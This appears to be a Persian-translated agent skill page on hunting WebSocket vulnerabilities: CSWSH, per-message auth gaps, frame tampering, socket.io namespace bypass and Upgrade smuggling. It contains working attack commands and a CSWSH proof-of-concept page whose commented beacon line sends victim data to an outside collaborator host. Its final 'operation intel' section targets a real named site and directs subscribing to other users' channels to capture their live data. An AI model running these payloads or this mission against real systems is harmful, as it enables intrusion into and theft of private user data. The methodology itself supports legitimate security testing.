hunt-auth-websocket

skillمحلیلاین عملیاتی محلیگزارش: ۱۱۲۲ کیلوبایت۱۴ بخش

‏شکار آسیب‌پذیری‌های WebSocket — هجکینگ بین-سایتی WebSocket ‏(CSWSH)، اعتبارسنجی Origin مفقود/ضعیف روی handshake، نبود احراز per-message، دست‌کاری پیام، دورزدن authz مربوط به namespace/room در socket.io و قاچاق Upgrade لایه‌ی handshake.

توضیح انگلیسی اصلی (مرجع)

Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms.

نقشه‌ی ساختار اسکیل

hunt-auth-websocketلاین عملیاتی محلی · ۱۴ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳نمونه‌هایواقعی و impact۴بخش تکمیلی۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸تکنیک‌های Bypass۹بخش تکمیلی۱۰بخش تکمیلی۱۱ابزار و نکاتعملیاتی۱۲زنجیره‌هاو ترکیب‌ها۱۳دروازه‌ی اعتبارسنجی۱۴اطلاعات عملیاتی
نمای کلی و کاربرد · ۸اهداف ارزشمند · ۲تکنیک‌های Bypass · ۲زنجیره‌ها و ترکیب‌ها · ۱دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۴

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏اسکیل امنیت WebSocket.

اسکیل‌های مرتبط:
۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۴

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏هجکینگ بین-سایتی WebSocket ‏(CSWSH) با handshake احرازشده-با-کوکی و بدون توکن CSRF/per-connection = High–Critical ‏(استخراج بلادرنگ داده‌ی هر قربانی لاگین‌شده).

‏زنجیره‌های باارزش‌ترین:

  • ‏‏CSWSH ← استخراج داده / ATO — handshake از طریق کوکی ambient احراز می‌کند، توکن CSRF نیست، Origin enforce نمی‌شود ← صفحه‌ی مهاجم WS را به‌عنوان قربانی باز می‌کند و پیام‌ها/PII/توکن‌هایش را استریم می‌کند. اگر استریم توکن session/refresh/CSRF را حمل کند، به ATO ارتقا می‌یابد.
  • ‏بدون auth مربوط به per-message — auth مربوط به HTTP/handshake هست ولی فریم‌های تکی WS دوباره authorize نمی‌شوند ← پیام‌های privileged پذیرفته می‌شوند ‏(deleteUser، getSecretConfig).
  • ‏دست‌کاری پیام — فریم‌های در‌پرواز ‏(price، qty، userId، amount) را در اپ‌های تریدینگ/بازی/checkout تغییر بده ← تقلب مالی.
  • ‏دورزدن authz مربوط به namespace/room در socket.io — به namespace مربوط به privileged وصل شو یا بدون چک permission به room کاربر دیگر join کن ← استخراج بلادرنگ بین-tenant.
  • ‏قاچاق Upgrade لایه‌ی handshake — handshake خراب Upgrade/Connection/Sec-WebSocket-* باعث اختلاف نظر proxy جلو و origin درباره‌ی رخ‌دادن upgrade می‌شود ← تونل request-smuggling.
۳

نمونه‌های واقعی و impact

Grounding — Reference Cases (read before hunting)
ترجمه‌ی کامل ✓بخش ۳ از ۱۴

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏این‌ها مراجع عمومی و قابل‌تأییدند. برای کالیبره‌کردن اینکه یافته‌ی واقعی WS چه شکلی است و چطور اثبات شده از آن‌ها استفاده کن. شناسه‌ی گزارش یا payout اضافی نساز.

#منبع / شناسهکلاسدرس
۱‏PortSwigger Web Security Academy — «Cross-site WebSocket hijacking» ‏(پژوهش + لب‌ها)‏CSWSHمدل کانونیک CSWSH: handshake کوکی-محور + بدون توکن CSRF + چک Origin غایب ← مهاجم به‌عنوان قربانی می‌خواند/می‌فرستد. متدولوژی مرجع.
۲‏Christian Schneider — «Cross-Site WebSocket Hijacking (CSWSH)» ‏(افشا/نوشته‌ی اصلی، ۲۰۱۳)‏CSWSHاولین تکنیک عمومی CSWSH: handshake کوکی-محور + نبود enforce مربوط به Origin؛ ‏PoC باید دریافت داده‌ی قربانی در مرورگر مهاجم را اثبات کند، نه فقط یک ۱۰۱.
۳‏Coda CSWSH ‏(ارجاع‌شده در مجموعه‌ی hunt-csrf این ریپو)‏CSWSHاپ‌های collab بلادرنگ معمولاً سوکت را فقط با کوکی احراز می‌کنند؛ allow-listing مربوط به Origin کنترل جاافتاده بود.
۴‏CVE-2020-7662 — ‏ReDoS مربوط به websocket-extensions ‏(Node)‏DoSهدر Sec-WebSocket-Extensions دست‌کاری‌شده backtracking فاجعه‌بار تریگر می‌کند — هدر handshake سطح حمله است، نه فقط فریم‌ها.
۵‏CVE-2024-37890 — ‏DoS مربوط به ws ‏(Node)‏DoSهدرهای درخواست handshake زیاد سرور را خسته می‌کند؛ تأیید می‌کند خود handshake pre-frames قابل‌حمله‌ی parser است.
۶‏استک‌های قدیمی socket.io / Engine.IO‏socket.ioگام version-fingerprint در فاز ۷ را توجیه می‌کند — نسخه را fingerprint کن، بعد advisoryهای شناخته‌شده‌ی آن ریلیز را چک کن.
‏فقط چهار CVE بالا با شناسه‌ی دقیق ادعا شده‌اند چون قابل‌تأییدند. برای هر کیسی که از شناسه‌ی دقیق مطمئن نیستی، تکنیک را بدون استناد توصیف کن — CVE اشتباه بدتر از نداشتن است.
اسکیل‌های مرتبط:
۴

بخش تکمیلی

Phase 1 — Discover WebSocket Endpoints
ترجمه‌ی کامل ✓بخش ۴ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

‏در Burp Pro بعد از مرور اپ از get_proxy_websocket_history ‏(و تب WebSockets) برای enumerate مربوط به سوکت‌های زنده، schemaهای پیام و اینکه کدام فریم‌ها داده‌ی auth-حساس حمل می‌کنند استفاده کن.

۵

بخش تکمیلی

Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)
ترجمه‌ی کامل ✓بخش ۵ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏هجکینگ بین-سایتی WebSocket به سه شرط باهم نیاز دارد: ‏(الف) handshake از طریق credential مربوط به ambient احراز می‌کند ‏(کوکی خودکار فرستاده می‌شود)، ‏(ب) توکن غیرقابل‌پیش‌بینی per-connection در handshake نیست ‏(نه توکن CSRF / نه توکن در URL/body)، و ‏(ج) سرور Origin را enforce نمی‌کند. نبود هرکدام حمله را می‌شکند.

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
     account is logged into TARGET in the same browser. The bug is only
     confirmed if attacker JS RECEIVES the victim's data (or successfully
     sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
     the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

‏کشنده‌های مثبت-کاذب:

  • ‏۱۰۱ تکمیل‌شده از Origin: evil.com یافته نیست. خیلی از سرورها upgrade را قبول می‌کنند و بعد هیچ‌چیز نمی‌فرستند، یا روی اولین فریم احرازشده می‌بندند.
  • ‏تأیید کن داده‌ی دریافتی متعلق به اکانت متفاوتی از مهاجم است — با مارکر یکتا / PII مشخص قربانی که در اکانت B کاشتی.
  • ‏payload دریافتی را به Burp Collaborator / لیسنر OAST استخراج کن تا دریافت out-of-band ثبت شود — این مدرک اثر تو برای گزارش است.
  • ‏اگر توکن per-connection روی handshake سوار است ‏(در URL، یک sub-protocol، یا اولین فریم)، CSWSH بین-سایتی قابل‌بهره‌برداری نیست؛ downgrade کن یا کنار بگذار.
۶

بخش تکمیلی

Phase 3 — Missing / Weak Authentication on WS Messages
ترجمه‌ی کامل ✓بخش ۶ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏احراز handshake ≠ احراز per-message. اپ‌ها اغلب سوکت را یک بار احراز می‌کنند و بعد به هر فریم بعدی اعتماد می‌کنند.

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

‏اعتبارسنجی: اکشن privileged باید اثر واقعی بگذارد ‏(کاربر تست حذف‌شده، کانفیگ secret برگردانده‌شده، تغییر state قابل‌مشاهده از کانال دوم) — فریمی که پذیرفته و بی‌صدا نادیده گرفته شود یافته نیست. به‌عنوان کلاینت unauthenticated دوباره اجرا کن تا تأیید شود اکشن صرفاً به‌صورت بی‌ضرر به همه broadcast نمی‌شود.

‏### replay مربوط به پیام‌های امضاشده

‏اگر پیام‌ها امضا دارند ‏(مثل {"type":"payment","amount":100,"signature":"..."})، برای تازگی و binding به session replay را تست کن. پیام امضاشده را بگیر و تست کن: ‏(الف) دورزدن پنجره‌ی زمانی: پیام را بعد از timestamp انقضایش replay کن ‏(شکاف skew/اعتبارسنجی ساعت)، ‏(ب) دورزدن session: پیام امضاشده را از session کاربر A بگیر و در session کاربر B replay کن — اگر پذیرفته شد، امضا به کاربر/شناسه‌ی session بسته نبود. برای ذخیره و replay مربوط به فریم‌های امضاشده از Burp Repeater استفاده کن، یا همان پیام را در wscat بعد از گذر پنجره‌ی زمانی بازسازی کن.

‏### سوءاستفاده‌ی business logic: دورزدن state-machine و فرار از rate limit

‏پروتکل‌های stateful ‏(مثل پلتفرم تریدینگ با انتظار connect → authenticate → verify_balance → place_order) ممکن است پیام‌ها را خارج از نوبت بپذیرند یا پیش‌شرط‌ها را رد کنند. تست کن: ‏(الف) ردکردن state: وصل شو و فوراً place_order بفرست بدون authenticate یا verify_balance — خیلی از استک‌ها ordering سخت enforce نمی‌کنند اگر اعتبارسنجی پیام تکی جا افتاده باشد، ‏(ب) اسپم پرتکرار: پیام‌های یکسان یا پرحجم را سریع بفرست تا لیمیت‌های لایه‌ی WS دور زده شوند ‏(متفاوت از لیمیت‌های HTTP) — صدها پیام در ثانیه را تست کن تا ببینی سرور throttle می‌کند، ۴۲۹ می‌دهد یا اتصال را می‌بندد. اگر همه را قبول و پردازش کند، می‌تواند business logic را سوءاستفاده کند ‏(مثل خیلی از پرداخت‌های کوچک برای دورزدن سقف مبلغ، یا subscriptionهای سریع برای اتمام منابع).

۷

بخش تکمیلی

Phase 4 — Message Tampering (Financial / Game / Checkout)
ترجمه‌ی کامل ✓بخش ۷ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

‏اعتبارسنجی: مقدار دست‌کاری‌شده باید سمت‌سرور ماندگار شود — از طریق API مربوط به سفارش/REST یا سوکت تازه تأیید کن که سفارش/موجودی/قیمت واقعاً دست‌کاری را منعکس می‌کند. خیلی از UIها فریم خودت را خوش‌بینانه echo می‌کنند؛ آن echo اثبات نیست. اثر مالی/state را نشان بده، ترجیحاً روی ابزار sandbox/test.

۸

تکنیک‌های Bypass

Phase 5 — socket.io / SignalR / Phoenix Namespace & Room Authz Bypass
ترجمه‌ی کامل ✓بخش ۸ از ۱۴

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏انجین Engine.IO/socket.io پروتکلی لایه‌شده روی WebSocket خام است. پیشوندهای پاکت ‏(Engine.IO با 4=MESSAGE که socket.io با 0=CONNECT، 1=DISCONNECT، 2=EVENT را wrap می‌کند) قصد namespace/room را حمل می‌کنند. Authorization باید هنگام join چک شود؛ اغلب نمی‌شود.

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

‏اعتبارسنجی: «متصل شدن به namespace» را از «دریافت داده‌ی privileged» جدا کن. یافته فقط وقتی تأیید می‌شود که فریم‌های رویداد 42 حاوی داده‌ی متعلق‌به tenant/کاربر دیگر دریافت کنی، یا emit مربوط به privileged اثر سمت‌سرور قابل‌تأیید بگذارد. ack مربوط به 40/admin بدون داده‌ی بعدی ممکن است فقط namespace باز-ولی-خالی باشد.

‏معادل SignalR: روی /<hub>/negotiate مذاکره کن، بعد وصل شو و متدهای hub را Invoke/Send کن — authorization سطح-متد را تست کن. Phoenix Channels: به topic:subtopic با phx_join وصل شو و چک کن join/3 مربوط به سرور topic را authorize می‌کند یا نه.
۹

بخش تکمیلی

Phase 6 — Handshake-Layer Upgrade Smuggling (NOT frame smuggling)
ترجمه‌ی کامل ✓بخش ۹ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مهم: وقتی WebSocket برقرار شد، payloadهایت داخل فریم‌های WS wrap می‌شوند و هرگز توسط proxy دوباره به‌عنوان HTTP parse نمی‌شوند. تایپ‌کردن GET /admin HTTP/1.1 در session باز wscat کاری نمی‌کند. قاچاق مرتبط‌به-WebSocket در handshake زندگی می‌کند، قبل از اینکه فریمی وجود داشته باشد.

‏تکنیک واقعی: درخواست WebSocket Upgrade بفرست که proxy جلو و origin متفاوت تعبیرش کنند — مثلاً Sec-WebSocket-Version خراب که باعث می‌شود origin با 426 Upgrade Required ‏(یا 400) جواب دهد درحالی‌که proxy قبلاً تصمیم گرفته اتصال «upgraded» است و parse مربوط به HTTP را متوقف می‌کند. proxy بعد بایت‌های بعدی را مستقیم به‌عنوان استریم مات به origin تونل می‌کند و به تو اجازه می‌دهد درخواست‌های HTTP دلخواه را از کنترل‌های فرانت‌اند ‏(WAF/authz) قاچاق کنی.

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

‏این را با اکستنشن HTTP Request Smuggler مربوط به Burp Pro هدایت کن ‏(کیس‌های تست WebSocket-upgrade دارد) نه دستی. اعتبارسنجی دقیقاً مثل قاچاق کلاسیک: desync را با probe مربوط به timing/differential اثبات کن و اثر واقعی نشان بده ‏(به مسیر داخلی/ممنوع برس، پاسخ کش‌شده را poison کن، یا درخواست کاربر دیگر را بگیر) — با تأیید Burp Collaborator / OAST، هرگز روی یک پاسخ مبهم تکی نه.

۱۰

بخش تکمیلی

Phase 7 — socket.io / Engine.IO Specifics
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مشخصات socket.io / Engine.IO — نسخه‌ی fingerprint، پیشوندهای پاکت و مسیر handshake:

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
۱۱

ابزار و نکات عملیاتی

Tools
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏ابزارهای WebSocket — wscat، websocat، Burp و اسکریپت‌های کاوش:

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.
۱۲

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۴

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی WSزنجیره بهاثر
‏CSWSH + توکن در استریمدزدیدن توکن session/refresh/CSRF از فریم‌های قربانی‏ATO ‏(بحرانی)
‏CSWSH تأییدشدهsubscribe به کانال‌های قربانی، استخراج به OASTدزدی داده‌ی بلادرنگ ‏(High)
بدون auth مربوط به per-messageفرستادن فریم‌های admin/privilegedارتقای privilege ‏(بحرانی)
دست‌کاری پیامتغییر price/amount/userId با تأیید سمت‌سرورتقلب مالی ‏(بحرانی)
دورزدن authz مربوط به namespace/roomjoin به room مربوط به tenant دیگر، خواندن رویدادهای 42استخراج بین-tenant ‏(High)
قاچاق Upgrade مربوط به handshakeتونل HTTP از WAF/authz با تأیید OASTقاچاق ← SSRF/poison مربوط به کش ‏(High–Critical)
۱۳

دروازه‌ی اعتبارسنجی

Validation (mandatory before reporting)
ترجمه‌ی کامل ✓بخش ۱۳ از ۱۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ✅ ‏‏CSWSH: ‏HTML مربوط به PoC با origin مهاجم، بازشده با اکانت قربانی متفاوت لاگین‌شده، باید داده‌ی همان قربانی را دریافت کند ‏(تأیید با مارکر یکتای کاشته‌شده / PII مشخص) و به Collaborator/OAST استخراج کند. یک 101 خالی از Origin خارجی یافته نیست.
  • ✅ ‏بدون auth مربوط به per-message: فریم privileged اثر سمت‌سرور قابل‌تأیید می‌گذارد ‏(تغییر state تأییدشده از کانال دوم / API مربوط به REST)، نه صرفاً «پذیرفته‌شدن».
  • ✅ ‏دست‌کاری پیام: مقدار دست‌کاری‌شده سمت‌سرور ماندگار می‌شود ‏(تأییدشده از API مربوط به سفارش/موجودی)، نه فقط echo در UI.
  • ✅ ‏دورزدن namespace/room: دریافت فریم‌های رویداد 42 با داده‌ی کاربر دیگر، نه فقط ack مربوط به 40 مربوط به namespace.
  • ✅ ‏قاچاق Upgrade: desync با probe مربوط به timing/differential و اثر دنیای-واقعی، تأییدشده-با-OAST اثبات می‌شود. حدس‌های تک-پاسخ ممنوع.
  • ❌ ‏رد کن: یک ۱۰۱ تنها، فریم پذیرفته-ولی-نادیده، پیام self-echo، namespace متصل-ولی-خالی، یا هر ادعای «تأییدشده» بدون مدرک out-of-band/بین-اکانت.

‏شدت:

  • ‏‏CSWSH لو‌دهنده‌ی توکن session/refresh ← ATO: بحرانی
  • ‏‏CSWSH ← دزدی داده‌ی session بلادرنگ: High
  • ‏بدون auth روی اکشن‌های WS مربوط به admin/privileged: بحرانی
  • ‏دست‌کاری پیام مالی ‏(تأییدشده‌ی سرور): بحرانی
  • ‏دورزدن subscription مربوط به namespace/room ‏(بین-tenant): High
مراحل استخراج‌شده
  1. ۱✅ ‏‏CSWSH: ‏HTML مربوط به PoC با origin مهاجم، بازشده با اکانت قربانی *متفاوت* لاگین‌شده، باید داده‌ی همان قربانی را دریافت کند ‏(تأیید با مارکر یکتای کاشته‌شده / PII مشخص) و به Collaborator/OAST استخراج کند. یک `101` خالی از Origin خارجی یافته *نیست*.
  2. ۲✅ ‏بدون auth مربوط به per-message: فریم privileged اثر سمت‌سرور قابل‌تأیید می‌گذارد ‏(تغییر state تأییدشده از کانال دوم / API مربوط به REST)، نه صرفاً «پذیرفته‌شدن».
  3. ۳✅ ‏دست‌کاری پیام: مقدار دست‌کاری‌شده سمت‌سرور ماندگار می‌شود ‏(تأییدشده از API مربوط به سفارش/موجودی)، نه فقط echo در UI.
  4. ۴✅ ‏دورزدن namespace/room: دریافت فریم‌های رویداد `42` با داده‌ی کاربر دیگر، نه فقط ack مربوط به `40` مربوط به namespace.
  5. ۵✅ ‏قاچاق Upgrade: desync با probe مربوط به timing/differential و اثر دنیای-واقعی، تأییدشده-با-OAST اثبات می‌شود. حدس‌های تک-پاسخ ممنوع.
  6. ۶❌ ‏رد کن: یک ۱۰۱ تنها، فریم پذیرفته-ولی-نادیده، پیام self-echo، namespace متصل-ولی-خالی، یا هر ادعای «تأییدشده» بدون مدرک out-of-band/بین-اکانت.
  7. ۷‏‏CSWSH لو‌دهنده‌ی توکن session/refresh ← ATO: بحرانی
  8. ۸‏‏CSWSH ← دزدی داده‌ی session بلادرنگ: High
  9. ۹‏بدون auth روی اکشن‌های WS مربوط به admin/privileged: بحرانی
  10. ۱۰‏دست‌کاری پیام مالی ‏(تأییدشده‌ی سرور): بحرانی
  11. ۱۱‏دورزدن subscription مربوط به namespace/room ‏(بین-tenant): High
۱۴

اطلاعات عملیاتی

OPERATION INTEL — stripchat authenticated phase (2026-11-14, run-20261113T202659Z-3e92a7ae8d)
ترجمه‌ی کامل ✓بخش ۱۴ از ۱۴

یافته‌ها و پروب‌های تأییدشده از engagementهای واقعی — session، endpointها و رفتارهای مشاهده‌شده

‏میدان ‏(تأییدشده):

  • ‏دو سرویس Centrifugo روی همان هویت JWT ‏(sub=290774867):
  • ‏wss://websocket-sp-v6.stripchat.com/connection/websocket — Centrifugo 6.7.2 مربوط به OSS. دستورهای JSON با جداکننده‌ی newline در یک فریم text کار می‌کنند ‏(connect+subscribe+history را بَچ در یک --message بزن).
  • ‏wss://websocket-apps.stripchat.com/connection/websocket?cf_protocol_version=v2 — Centrifugo 4.1.5. پارامتر ?cf_protocol_version=v2 الزامی است — بدون آن سرور بعد از اولین فریم می‌بندد ‏(close مربوط به ۴۴ بایت).
  • ‏توکن‌های WS تازه‌ی per-user: GET /api/front/v3/config/initial-dynamic?requestPath=/ ‏(کوکی session می‌خواهد) ← initialDynamic.websocket.token ‏(برای sp) و initialDynamic.websocketApps.token ‏(برای apps). payload مربوط به JWT برابر {"sub":"<uid>","info":{"isGuest":false,"userId":<uid>}} است.
  • ‏bootstrap مربوط به guest یعنی GET /api/vr/v3/config/initial توکن cometAuth مربوط به guest صادر می‌کند — توکن‌های guest روی connect بسته می‌شوند ‏(به توکن کاربر واقعی نیاز است).

‏شکاف تأییدشده ‏(BF-0a40dbdbb1a14dee9e0de3b971c09581): بعد از connect، دستور {"subscribe":{"channel":"user<uid>"}} برای uidهای دلخواه ‏(user1، user290774866، user44985172، user23938902) روی هر دو سرویس پذیرفته می‌شود درحالی‌که JWT sub=290774867 است. فرم‌های user#<uid>/model#<uid> رد می‌شوند ‏(۱۰۳). publish ← ‏103، presence ← ‏108. history روی sp کار می‌کند ‏(فعال، هنگام تست خالی)، روی apps نیست ‏(۱۰۸). در پنجره‌های ~۶۰ثانیه‌ای publication دیده نشد.

‏ماموریت این موج — اثبات یا ابطال جریان داده:

  1. ‏enumerate مربوط به نام کانال: مجموعه‌ی باندل فرانت‌اند روی assets.chapturist.com/assets/*.js است ‏(مخصوصاً bootstrap.a08c1da02ccf328d.js)؛ سایت‌های ساخت subscribe/channel را برای نام‌های واقعی ماین کن. کاندیدهای تا الان: user<uid>، guest<uid> ‏(کلیدهای localStorage — ممکن است کانال هم باشند)، broadcast-<modelId> ‏(رشته‌ی analytics — تأیید کن)، به‌علاوه‌ی پیشوندهای namespace ناشناخته. واریانت‌های سیستماتیک را امتحان کن: model<uid>، chat<uid>، notify<uid>، room<uid>، private-<uid>، tips<uid>، status، online، models، all، global، app<id>، guest<uid> — روی هر دو سرویس؛ کدهای خطای subscribe ‏(رد ۱۰۳ در برابر پذیرش) نشان می‌دهد کدام namespaceها وجود دارند.
  2. ‏گرفتن داده: کانال‌های شلوغ را subscribe کن ‏(کانال‌های user/broadcast مربوط به مدل‌های زنده — idهای مدل آنلاین را از GET /api/front/v2/models?limit=N&primaryTag=girls بدون session بگیر، با آن ۴۰۱ می‌دهد) و با --max-messages بالا برای کل پنجره‌ی ابزار نگه دار؛ هر فریم {"push":...} = نشت publication ← فوراً یافته را ثبت کن.
  3. ‏تریگر خودرویداد: کانال user290774867 خودت را روی apps subscribe کن، بعد یک اکشن احرازشده‌ی کم‌اثر انجام بده ‏(تاگل favorite، تغییر settings) و منتظر push بمان — اثبات می‌کند کانال رویدادهای زنده حمل می‌کند، که subscribe مربوط به بین-کاربر را باگ حریم خصوصی واقعی می‌کند.
  4. ‏زوایای ارتقا: کانال‌های subscribe_token سمت‌سرور ‏(کانال‌های خصوصی Centrifugo معمولاً توکن per-channel می‌خواهند — اینکه این‌ها نمی‌خواهند = خود باگ است)؛ کانال‌های مچ‌شونده با تزریق user*+پسوند را امتحان کن ‏(user290774866extra، user*، user)، ترفندهای case مربوط به کانال، کانال‌های کنترلی با پیشوند $.، و رفتار disconnect/unsubscribe مربوط به کلاینت‌های دیگر که سمت‌کلاینت ممکن نیست ولی رفتارهای سرور را یادداشت کن.
  5. ‏زاویه‌ی CSWSH قبلاً مستندشده: handshake مربوط به sp-v6 از Origin چشم‌پوشی می‌کند ‏(۱۰۱ بدون چک Origin) — اگر سایت handshake مربوط به WS را از طریق کوکی ambient روی هر مسیری احراز می‌کند، با --header 'Origin: https://evil.example' بازتأیید کن که آیا ۱۰۱ پایدار می‌ماند ‏(session کوکی‌محور است ← CSWSH به صفحه‌ی مهاجم اجازه می‌دهد استریم را به‌عنوان قربانی باز کند).

